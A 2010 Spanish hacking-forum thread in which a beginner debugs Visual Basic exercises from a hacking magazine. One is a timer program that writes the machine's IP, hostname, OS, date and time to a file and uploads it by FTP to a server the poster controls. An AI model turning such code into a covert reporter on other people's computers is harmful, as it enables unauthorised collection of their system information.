Título: practica hxc7 Publicado por: kAskaMOtz en 6 Julio 2010, 21:38 pm Hola a todos,
estoy leyendo la revista de hacxcrack y concretamente la septima donde te enseñan a hacer un programita que te indica la ip y el s.o. del ordenador donde esta ejecutado (iphxc II). Pero antes de eso te enseñan a hacer otro programa que al pasar diez segundos tiene que crear un archivo de texto y poner dentro de el "hacxcrack", el problema es que al pasar los diez segundos no se crea ese archivo de texto. Por eso os dejo el codigo del programa para ver si me podeis ayudar y encrontrar el fallo. Dim Ti Private Sub Command1_Click() Ti = Ti + 1 Label1.Caption = Ti If Ti = 10 Then Open ("prueba.txt") For Output As #1 Print #1, "hackxcrack" Close #1 End If End Sub Private Sub Form_Load() Ti = 0 Timer1.Interval = 1000 End Sub Private Sub Timer1_Timer() Call Command1_Click End Sub Espero que me puedan ayudar Muchas gracias a todos. Título: Re: practica hxc7 Publicado por: Shell Root en 6 Julio 2010, 21:56 pm mmm no tengo el VB así que lo haré de memoria.
Código
Título: Re: practica hxc7 Publicado por: kAskaMOtz en 6 Julio 2010, 22:03 pm entonces tengo algun fallo?
Porque a mi no me funciona Gracias Título: Re: practica hxc7 Publicado por: TGa. en 6 Julio 2010, 23:31 pm el problema es que el archivo lo estas creando en la carpeta default que creo que es la de visual basic, para arreglar eso podrias poner la direccion en dondo queres que se cree el archivo por ejemplo en vez de
Código
podes poner Código
y el archivo se creara en C: Título: Re: practica hxc7 Publicado por: kAskaMOtz en 6 Julio 2010, 23:45 pm Vale muchas gracias, la verdad es que me he liado porque cuando pones para ejecutar un programa el programa se ejecuta y entonces yo creia que el archivo de texto tambien se me tendria que ejecutar. Resuelto, muchas gracias a todos.
Título: Re: practica hxc7 Publicado por: kAskaMOtz en 7 Julio 2010, 15:26 pm Bueno otra vez tengo que recurrir de vosotros :)
Sigo con el mismo programa pero esta vez tiene que enviar un archivo donde pone la ip y el s.o. del ordenador a mi servidor ftp, el problema es que vb me da el tipico error 424 "se requiere un objeto. Os dejo el codigo: Dim Ti Private Sub Command1_Click() Ti = Ti + 1 Label1.Caption = Ti If Ti = 10 Then Open ("prueba.txt") For Output As #1 Print #1, "IP del Host"; Winsock1.LocalIP Print #1, Winsock1.LocalHostName Print #1, SysInfo1.OSPlatform Print #1, Date Print #1, Time Close #1 Inet1.Execute "ftp://Nombre Usuario:Contraseña@127.0.0.1( aqui tengo que poner la direccion de mi ftp, creo que poniendo 127.0.0.1 vale, o no?)", "PUT c:\prueba.txt" & Winsock1.LocalHostName & ".txt" Ti = 0 End If End Sub Private Sub Form_Load() Ti = 0 Timer1.Interval = 1000 End Sub Private Sub Timer1_Timer() Call Command1_Click End Sub Como es logico el nombre de usuario y contraseña no lo pongo Muchas gracias Título: Re: practica hxc7 Publicado por: LeandroA en 7 Julio 2010, 20:02 pm Esa porqueria ponen en una revista?? te recomiendo que compres un buen libro de programación, o te vajes algun tutorial de internet.
Saludos. |